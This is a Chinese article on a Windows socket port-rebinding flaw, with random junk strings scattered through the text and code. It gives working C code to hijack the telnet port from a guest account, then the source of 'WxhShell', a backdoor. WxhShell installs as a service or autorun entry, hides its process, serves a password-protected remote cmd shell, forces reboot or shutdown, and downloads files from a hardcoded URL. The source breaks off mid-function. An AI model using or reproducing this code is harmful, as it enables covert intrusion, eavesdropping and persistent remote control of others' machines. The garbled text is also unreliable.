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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Lmb<)YY s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y.zQ ` 4tI~d8?pk+ saddr.sin_family = AF_INET; *D,T}N jKzjTn9{E saddr.sin_addr.s_addr = htonl(INADDR_ANY); s>5 Z >EY0-B bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )n.peZ P]n
'q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S~T[*Z/m X6)LpMm 这意味着什么?意味着可以进行如下的攻击: SpgVsz cnR>)9sX 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5 F-Q& U:Y?2$# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) h>wU';5#f bm;4NA?Gg 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]9' \<uR rhrlEf@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ]Uu/1TTf |fUSq1// 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y{&,YV&_h nMhc3t 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .NKN2 DCj!m<Y& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /SiQw7yp% L|<Mtw #include {'1,JwSmb #include <6@Db$- #include $Ix^Rm9c #include }^H_|;e1p DWORD WINAPI ClientThread(LPVOID lpParam); *b&| int main() 7%hMf$KQ { sdb#K?l WORD wVersionRequested; 7$ 'ja DWORD ret; /vu7;xVG WSADATA wsaData; _xJ&p$& BOOL val; _/Hu'9432 SOCKADDR_IN saddr; -a3C3!! SOCKADDR_IN scaddr; N$?q Aek int err; YW*ti|u|w SOCKET s; y3x_B@}BY SOCKET sc; }5K\l
int caddsize; iY="M _kQ_ HANDLE mt; e*tOXXY1 DWORD tid; m\(a{x wVersionRequested = MAKEWORD( 2, 2 ); w"~T5%p err = WSAStartup( wVersionRequested, &wsaData ); hYLu if ( err != 0 ) { ]?^mb n printf("error!WSAStartup failed!\n"); ,q4 Y
N-3 return -1; D3]_AS&\ } W|:WAxJ*d saddr.sin_family = AF_INET; ||hd(_W8 aePk^?KbB //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *`kh} !>M: G:K saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d/MMPge3 saddr.sin_port = htons(23); ){v nmJJ% if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -{dwLl_ { 2'D2>^os printf("error!socket failed!\n"); j9%=^ZoQj return -1; {'/8{dS } >1YJETysO val = TRUE; +U[A.^t //SO_REUSEADDR选项就是可以实现端口重绑定的 `W5f'RU if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =vR>KE { *p"%cas printf("error!setsockopt failed!\n"); %
74}H8q_z return -1; k3&Wv } \n}cx~j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [,VD^\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |g~.]2az //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 nk[ixVc zJPzI{-w| if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Ta_#Rg*! { T!8,R{V]4 ret=GetLastError(); *cf#:5Nl printf("error!bind failed!\n"); SO|$X return -1; p?5zwdX+` } "_lSw3 listen(s,2); O%OeYO69 while(1) "bJW yUb { ./u3z|q1 caddsize = sizeof(scaddr); 0y?bwxkc //接受连接请求 9Z}-%Z[,) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *t63c.S if(sc!=INVALID_SOCKET) Up~#]X { &U:;jlST9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $aEL>,X if(mt==NULL) aPRF { T{Av[>M printf("Thread Creat Failed!\n"); LBTf}T\ break; iNcB6,++ } 06ZyR@.@v } uT_bA0jK CloseHandle(mt); )Zox;}WK+ } H?PaN)_6-+ closesocket(s); d-X<+&VZ WSACleanup(); v81<K*w`P return 0; $%ps:ui~X } y\S}U{*Z' DWORD WINAPI ClientThread(LPVOID lpParam) YH@^6Be9 { +d<o2n4! SOCKET ss = (SOCKET)lpParam; 3:s!0ty" SOCKET sc; -GH>12YP unsigned char buf[4096]; :U=*@p4? SOCKADDR_IN saddr; dW6sA65<Y long num; MGK%F#PM DWORD val; T)MKhK9\Ab DWORD ret; k*J0K=U| //如果是隐藏端口应用的话,可以在此处加一些判断 d-y8c //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 V!uW\i/ saddr.sin_family = AF_INET; nGq{+
G saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O|d"0P saddr.sin_port = htons(23); ;tlvf?0! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^tI
,eZ { `Ps&N^[ printf("error!socket failed!\n"); ?|kwYA$4o return -1; Ch>r.OfP } )m|)cLT& val = 100; f]Xh7m(Gh if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UZz/v#y~ { `fS$@{YI_ ret = GetLastError(); ]@0C1r return -1; Kqm2TMO]>V } y2KR^/LN|Y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7*.nd { h:xvnyaI ret = GetLastError(); <v%Q|r return -1; 0-6rIdDTM } /V0[Urc@ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Fsz;T; { 6o6I]QL printf("error!socket connect failed!\n"); n86LU Sj5 closesocket(sc); !cW6dc^ closesocket(ss); .k cyw>T`I return -1; LtW}R4}3 } "Doz~R\\ while(1) 1R-WJph { 7_HFQT1.N //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^VOFkUp) //如果是嗅探内容的话,可以再此处进行内容分析和记录 evjj~xkte //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sFt"2TVr3 num = recv(ss,buf,4096,0); l|v`B6( if(num>0) Ir#]p9:x send(sc,buf,num,0); [>![ViX else if(num==0) lha)4d break; #x*\dL num = recv(sc,buf,4096,0); ~bf4_5 if(num>0) H%pD9'q~ send(ss,buf,num,0); e>0gE`8A else if(num==0) DaP,3>M break; AT%6K. } $+w:W85B closesocket(ss); T5|e\<l closesocket(sc); rny(8z%Ck- return 0 ; s5h}MXIXw } MroN=%|t xIA] 5@;a OYSq)!: ========================================================== 'hR0JXy 5\V""fH 下边附上一个代码,,WXhSHELL KT[ZOtu K
@RGvP ========================================================== DQ<4`wE M nr&bpA/ #include "stdafx.h" ijP`fM8 .exBU1Yk@ #include <stdio.h> ?zex]!R #include <string.h> >$,P )cB' #include <windows.h> .d I".L #include <winsock2.h> #lR-?Uh #include <winsvc.h> $Q"D>Qf{G #include <urlmon.h> 'Fy"|M;2 (\ge7sE-oo #pragma comment (lib, "Ws2_32.lib") t0,=U8]w #pragma comment (lib, "urlmon.lib") AXF
1{ ClG\Kpirh #define MAX_USER 100 // 最大客户端连接数 x
]"> #define BUF_SOCK 200 // sock buffer j"K^zh #define KEY_BUFF 255 // 输入 buffer eSQkW d~ +(g! #define REBOOT 0 // 重启 _B>'07D0 #define SHUTDOWN 1 // 关机 ^"<x4e9+j 'Lq+ONX5 #define DEF_PORT 5000 // 监听端口 & .0A% {0~\ T[qm #define REG_LEN 16 // 注册表键长度 4sRM"w; #define SVC_LEN 80 // NT服务名长度 fV@[S z%S$~^=b // 从dll定义API zOd*> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w"5Eyz-eO typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~m_{&,CA. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `;Ho<26 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yts@cd`$ R2v9gz;W // wxhshell配置信息 !(
>U3N struct WSCFG { LaO8)lqR int ws_port; // 监听端口 ?a#Gn2 char ws_passstr[REG_LEN]; // 口令 _V4O#;%? int ws_autoins; // 安装标记, 1=yes 0=no !KMl'kswe: char ws_regname[REG_LEN]; // 注册表键名 9}%$j char ws_svcname[REG_LEN]; // 服务名 Q,:{(R char ws_svcdisp[SVC_LEN]; // 服务显示名 tL3R<' char ws_svcdesc[SVC_LEN]; // 服务描述信息 E*O($tS char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `6)(Fk--" int ws_downexe; // 下载执行标记, 1=yes 0=no )X-'Q - char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 8tQ;N' char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XwUa|"X6 -'Ay(h }; rRg,{:;A D'<L6w` // default Wxhshell configuration R\|,GZ!`+ struct WSCFG wscfg={DEF_PORT, 1~t.2eU G "xuhuanlingzhe", ]XU4nNi 1, 8T1zL.u>q "Wxhshell", VcGl8~#9 "Wxhshell", >ei~:z]R "WxhShell Service", >MJ#|vO "Wrsky Windows CmdShell Service", E447'aJ "Please Input Your Password: ", +q'\rpt 1, ?h6|N%U' " http://www.wrsky.com/wxhshell.exe", vof8bQ{& "Wxhshell.exe" WW+xU0 }; -=nk,cYn u"q56}Q?] // 消息定义模块 vP x/&x char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~v%6*9 char *msg_ws_prompt="\n\r? for help\n\r#>"; ?V,q&=9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; K fD.J) char *msg_ws_ext="\n\rExit."; Ly&+m+Gwu char *msg_ws_end="\n\rQuit."; ?<${?L> char *msg_ws_boot="\n\rReboot..."; )i}j\";>L char *msg_ws_poff="\n\rShutdown..."; OL>)SJj5 char *msg_ws_down="\n\rSave to "; Qn7T{ BW '{cSWa|
# char *msg_ws_err="\n\rErr!"; Rjq Xz6 char *msg_ws_ok="\n\rOK!"; ss[`*89 wn.~Dx char ExeFile[MAX_PATH]; n74\{`8]o int nUser = 0; y92R}e\M HANDLE handles[MAX_USER]; n9xP8<w8
int OsIsNt; Iz1x| EQ [a04(
2g SERVICE_STATUS serviceStatus; `p&[b]b SERVICE_STATUS_HANDLE hServiceStatusHandle; >*RU:X <mQXS87 // 函数声明 LP6p int Install(void); l3sF/zkH int Uninstall(void); |]4!WBK int DownloadFile(char *sURL, SOCKET wsh); T[Zs{S int Boot(int flag); HwHF8#D*l void HideProc(void); O;~e^ <* int GetOsVer(void); '|DW#l\n int Wxhshell(SOCKET wsl); -T,?'J0 2 void TalkWithClient(void *cs); lFGuQLuqA{ int CmdShell(SOCKET sock); &1$d`>fn int StartFromService(void); r|EN 5 int StartWxhshell(LPSTR lpCmdLine); R3~,&ab ^K;k4oK VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EY )2, VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZU73UL g%&E~V/g$ // 数据结构和表定义 sq!$+=1-X SERVICE_TABLE_ENTRY DispatchTable[] = mY.v: { iX$G($[l( {wscfg.ws_svcname, NTServiceMain}, [3jJQ3O, {NULL, NULL} rW)h?, b }; =p8uP5H "E(i< // 自我安装 WeM38&dWY int Install(void) kJJT`Ba&/ { au{)5W4~ char svExeFile[MAX_PATH]; 5dm ~yQN/ HKEY key; SXk.7bMV6 strcpy(svExeFile,ExeFile); k
ucbI_ Kcm+%p^ // 如果是win9x系统,修改注册表设为自启动 6nZ]y&$G-k if(!OsIsNt) { 4yxQq7
m, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0G+Q^]0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nF@**,C Q RegCloseKey(key); @|\9<S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R9U{r.AA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3>KEl^1DB RegCloseKey(key); c_3B: F7 return 0; S@/{34, } WO_Uc_R } /W/e%. } jVQy{8{G else { IMkE~0x4</ }|.<EkA // 如果是NT以上系统,安装为系统服务 |-Uh3WUE6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J#I RbO) if (schSCManager!=0) +/ZIs|B4,z { i>YS%&O? SC_HANDLE schService = CreateService F_Y]>,U ( fB8, )& schSCManager, #7]Jz.S wscfg.ws_svcname, ,U~A=bsa wscfg.ws_svcdisp, h3o'T=`Sm SERVICE_ALL_ACCESS, suY47DCX) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zMsup4cl SERVICE_AUTO_START, ye(b 7CX SERVICE_ERROR_NORMAL, l~i? svExeFile, 0$*7lQ<a#M NULL, 8K,X3a9 NULL, h p]J>i. NULL, 7?*+,Fo# NULL, i g(O$y NULL k =5k)}i ); 5(+9a if (schService!=0) Xs~'M/>
O { GbSCk}> CloseServiceHandle(schService); Fi/iA%, CloseServiceHandle(schSCManager); }bb,Iib strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gXxi; g strcat(svExeFile,wscfg.ws_svcname); <Ht"t]u*Bn if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
?9`j1[0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1Gsh%0r3 RegCloseKey(key); 2_q/<8t return 0; %e~xO x } W/qXQORv } L7$f01* CloseServiceHandle(schSCManager); g-eJan&]N } 5W&L6.J}+ } ("8 Hku? D0Dz@25- return 1; /6')B !& } yaR>?[h 2lTt // 自我卸载 }J# HIE\RG int Uninstall(void) ]l,D,d81 { "t0^4=c+7 HKEY key; zjmoIE P~j#8cH7 if(!OsIsNt) { e$[O J<t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,Y:oTo=~ RegDeleteValue(key,wscfg.ws_regname); Fi i(dmn RegCloseKey(key); wW%b~JX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $|~<6A{y RegDeleteValue(key,wscfg.ws_regname); i!a!qE.1 RegCloseKey(key); `NIb?/!f return 0; Rw?w7?I } )]fsl_Yq } K(+=V)'Dz } UD-+BUV else { L^JU{\C QLJ\> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `=(<!nXJx if (schSCManager!=0) C
m:AU; { bBi>BP= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ),x0G*oebj if (schService!=0) }b4 56J { Ca~8cQ if(DeleteService(schService)!=0) { ,;pUBrz/[ CloseServiceHandle(schService); dcf,a<K\ CloseServiceHandle(schSCManager); j9fBl:Fr return 0; 2xNR=u` } I):c# CloseServiceHandle(schService); Ti? "Hr<W } Qsbyy>o) CloseServiceHandle(schSCManager); 9K$
x2U } z qA>eDx } HhynU/36 2 5~Z%_? return 1; \l!+l } /nO_e TzKM~a# // 从指定url下载文件 && ]ix3 int DownloadFile(char *sURL, SOCKET wsh) WSozDNF!'f { lV'?X% HRESULT hr; bc(MN8b ]j char seps[]= "/"; -C2!`/U char *token;
#w; "s* char *file; n*[ZS[I char myURL[MAX_PATH]; !j $cBf4 char myFILE[MAX_PATH]; 02,t >#h,q|B strcpy(myURL,sURL); Yi9Y`~J token=strtok(myURL,seps); fM.#FT?? while(token!=NULL) XpANaqH\ { 2bCfY\k file=token; hJSvx token=strtok(NULL,seps); .i;.5)shsu } LH54J;7Y 3HyOQD"{ GetCurrentDirectory(MAX_PATH,myFILE); QvbH " 7 strcat(myFILE, "\\"); "}X+vd`` strcat(myFILE, file); /4+L2O[ send(wsh,myFILE,strlen(myFILE),0); .s\lfBo9 send(wsh,"...",3,0); r5gqRh}+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '-"[>`[q if(hr==S_OK) Z`kVyuQ return 0; 2sGKn
a else :
;8L1' return 1; E:qh}wY kI"9T`owR } !>F70 GbLHzw // 系统电源模块 ! VT$U6 int Boot(int flag) E]Mx<7;\. { ICz:>4M-dn HANDLE hToken; `% \CO` TOKEN_PRIVILEGES tkp; l$5nv5r ]EK(k7nH if(OsIsNt) { .c>6}:ye OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9 m8KDB[N LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f%PLR9Nh5@ tkp.PrivilegeCount = 1; 2|"D\N tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /[?}LrDO AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P<>NV4 if(flag==REBOOT) { &j~9{ C if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f@`|2wG return 0; /SJ>< } N4x5!00 else { .$s']' = if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A,&711Y return 0; [.&JQ } r],%:imGr } g(zeOS]q} else { yf*'=q if(flag==REBOOT) { ^W sgAyCB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) </'n={+q return 0; 0xZ^ f}@L } V]Te_ >E;w else { J#Q>dC7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :^W}$7$T return 0; <cZ/_+H%C } >&\.{ aj } ?<F([( &IXmy-w return 1; 7# wB } u3Z]!l [f:&aS+ // win9x进程隐藏模块 ~rb]u
Ny- void HideProc(void)
Qq6'[Od { PK|qiu-O&* bLS10^g5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q0q-Coh> if ( hKernel != NULL ) ?Sh"%x { A3.I|/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8N)Lck2PR ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Cgln@Rz FreeLibrary(hKernel); G(?1 Urxi } `StuUa db_Qt' > return; W;8A{3q%N0 } iOfO+3'Z_U 5MG4S // 获取操作系统版本 ` Ft-1eE int GetOsVer(void) b5MU$}: { N?t*4Y OSVERSIONINFO winfo; //N="9)@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YFu>`w^Y GetVersionEx(&winfo); ]gX8z#*k if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3~R,)fO; return 1; /$clk= else :' 5J[]J return 0; y=pW+$k } MB:[: nX Wgs6}1bg // 客户端句柄模块 sMAj?]hI$ int Wxhshell(SOCKET wsl) Q7e4MKy7 { LK4NNZf7 SOCKET wsh; ">!pos`<C struct sockaddr_in client; uO]|YF DWORD myID; vn*K\, J|hVD while(nUser<MAX_USER) `3jwjy|5 { I++ Le%w int nSize=sizeof(client); .Y2Hd$rs wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ] 7[#K^ if(wsh==INVALID_SOCKET) return 1; $Tv~ *|a J<H]vs handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :~R a} if(handles[nUser]==0) Y,L[0% closesocket(wsh); X]9<1[f else prt(xr4@ nUser++; qi~-<qW } [(g2u@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2.</n}g 0827z return 0; h3.CvPYy1 } g||EjCsp !"<rlB,J // 关闭 socket \:@7)(p\; void CloseIt(SOCKET wsh) Z3MhHvvgp{ { F5+FO^3E closesocket(wsh); M
hW9^? nUser--; FZ%h7Oe ExitThread(0); gnzg(Y]5w } PX?%}~
v 9;I%Dv // 客户端请求句柄 CAvi P61T void TalkWithClient(void *cs) a_/4 ^+ { doTbol?+ &c"!Y)%G SOCKET wsh=(SOCKET)cs; !4#qaH-Q char pwd[SVC_LEN]; ]v5/K char cmd[KEY_BUFF]; VJw7defc char chr[1]; &n8Ja@Y] int i,j; Fab]'#1q4 bBc<p{ while (nUser < MAX_USER) { KF(y`(8f x0%m}P/ if(wscfg.ws_passstr) { @1xVWSF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #%ld~dgz- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C7R3W, //ZeroMemory(pwd,KEY_BUFF); K"t? i=0; yKrbGK*=_ while(i<SVC_LEN) { BI%~0Gj8 -1B. A // 设置超时 6ERMn"[_w fd_set FdRead; #wT6IU1 struct timeval TimeOut; x&J\ swN9 FD_ZERO(&FdRead); KwMt@1Z FD_SET(wsh,&FdRead); Fhllqh) TimeOut.tv_sec=8; y@$E5sz TimeOut.tv_usec=0; l="X|t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dHiir&Rd9` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4x-,l1NMR K%L6UQ; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZY7-. pwd =chr[0]; %E#Ubm! if(chr[0]==0xd || chr[0]==0xa) { b==jlYa= pwd=0; qov<@FvE0 break; T=~d.&J } /N%i6t<xU i++; li?@BHEf } +\%]<YO
ox<&T| // 如果是非法用户,关闭 socket
B*}]' if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `WCL-OoZc5 } l=T;hk 4yqYs> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z]hRc8g}d send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?mC'ZYQI kmTYRl
)j while(1) { i)(G0/: ?5ZvvAi ZeroMemory(cmd,KEY_BUFF); &0[L2x}7
Opf)TAl{ // 自动支持客户端 telnet标准 ~a3u['B j=0; ~vpF|4Zn5 while(j<KEY_BUFF) { *2~WP'~PQd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mE{QT ZS cmd[j]=chr[0]; H[s+.&^ if(chr[0]==0xa || chr[0]==0xd) { GTfM *b cmd[j]=0; aj|PyX3P: break; S]%,g%6i } R!/JZ@au< j++; 4P)#\$d: }
? .SiT5 ]D5Maid+ // 下载文件 bWb/>hI8
Q if(strstr(cmd,"http://")) { yc9!JJMkH send(wsh,msg_ws_down,strlen(msg_ws_down),0); nG5\vj,zB if(DownloadFile(cmd,wsh)) 3t.!5L send(wsh,msg_ws_err,strlen(msg_ws_err),0); v4E=)? else 'l\PL1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hci>q`p# } bcT_YFLQ else { s}Go")p<: XW8@c2jN\7 switch(cmd[0]) { 3}phg ns5Dydo{T // 帮助 D}}?{pe case '?': { >*O5Ry:4 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d)biMI}<5 break; rq7yNt } 3k>#z%// // 安装 qHe
H/e%`V case 'i': { '^WR5P<8c if(Install()) (t5y$bc send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5QXU"kWH else zb[kRo&a0W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g%]<sRl:- break; PCgr`($U } ]Z\ W%'q+ // 卸载 l}-k>fug case 'r': { `%#_y67v if(Uninstall()) 8/)q$zs send(wsh,msg_ws_err,strlen(msg_ws_err),0); %YF
/=l else {_.(,Z{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B [YyA break; FdnLxw } @V^.eVM\R // 显示 wxhshell 所在路径 $U7/w?gc' case 'p': { sVP\EF8PY char svExeFile[MAX_PATH]; Kc^ctAk7; strcpy(svExeFile,"\n\r"); P%yL{ strcat(svExeFile,ExeFile); kzUj) send(wsh,svExeFile,strlen(svExeFile),0); Oz_CEMcy break; 3;}YW^oXq } "#0P*3-c // 重启 RWM~7^JA case 'b': { p}!)4EI= send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5 z3WRg if(Boot(REBOOT)) IRk)u` send(wsh,msg_ws_err,strlen(msg_ws_err),0); j?$B@Zk else { rDwd!Jet closesocket(wsh); [{xY3WS ExitThread(0); 6.45^'t] } <=%[.. (S break; u w8g% } qR2cRepV // 关机 (dNF)(wn case 'd': { 1z2v[S&pk send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IN1n^f$: if(Boot(SHUTDOWN)) #2Q%sE? send(wsh,msg_ws_err,strlen(msg_ws_err),0); g]44|9x(W else { B&59c*K closesocket(wsh); Z \ @9* ExitThread(0); zSsBbu: } LR#.xFQ+ break; LHOt(5VY } kn3GgdU // 获取shell FO!0TyQ case 's': { q2*)e/}H CmdShell(wsh); Qz{Vl>" closesocket(wsh); BSSehe* ExitThread(0); a8[%-eW, break; n 78!]O } \?e2qu/ C // 退出 *Z.{1 case 'x': { f]Aa$\@b send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j;j~R3B CloseIt(wsh); fWfhs}_
break; 13 JG[,w } ;2fzA<RkK // 离开 K]>4*)A: case 'q': { u\xrC\Ka send(wsh,msg_ws_end,strlen(msg_ws_end),0); G5 )"%G. closesocket(wsh); "k [$euV WSACleanup(); Wx;%W"a exit(1); fIx|0,D&7L break; h;}
fdk } ZZ!6O /M } 'i3-mZ/|8 } O@HD' w\Q(wH' // 提示信息 Oa@SyroF= if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MB>4Y]rtU } Z
*l&<q># } &V&beq4)p 9
s2z=^ return; 6,~
% } l_
x jsu w[QC // shell模块句柄 :u@ w; int CmdShell(SOCKET sock) 8r,0Qic2K { T|YMU?4 STARTUPINFO si; Z>1yLt@ls ZeroMemory(&si,sizeof(si)); [["eK9}0 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ] 4*E: si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e*D,2>o PROCESS_INFORMATION ProcessInfo; Vn/FW?d7 char cmdline[]="cmd"; 4uE/!dT CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >K%+h)%kI return 0; %_5?/H@%3z } iY sQ:3s a{ByU% // 自身启动模式 +]H!q
W: int StartFromService(void) 9a1R"%Z { \)MzUOZn typedef struct Esj1Vv# { V5jy,Qi) DWORD ExitStatus; b|k(:b-G&. DWORD PebBaseAddress; a[!:`o1U DWORD AffinityMask; V2 ;? DWORD BasePriority; g6SZ4WV ULONG UniqueProcessId; sFgsEKs ULONG InheritedFromUniqueProcessId; 8jky-r } PROCESS_BASIC_INFORMATION; uAk>VPuuZ &,/-<y-S PROCNTQSIP NtQueryInformationProcess; 1F2(MKOo! gI Gi7x static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KAr5>^<zw static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4>HQ2S{t !Xq5r8] HANDLE hProcess; +f^|Yi PROCESS_BASIC_INFORMATION pbi; &" yoJ<L <\
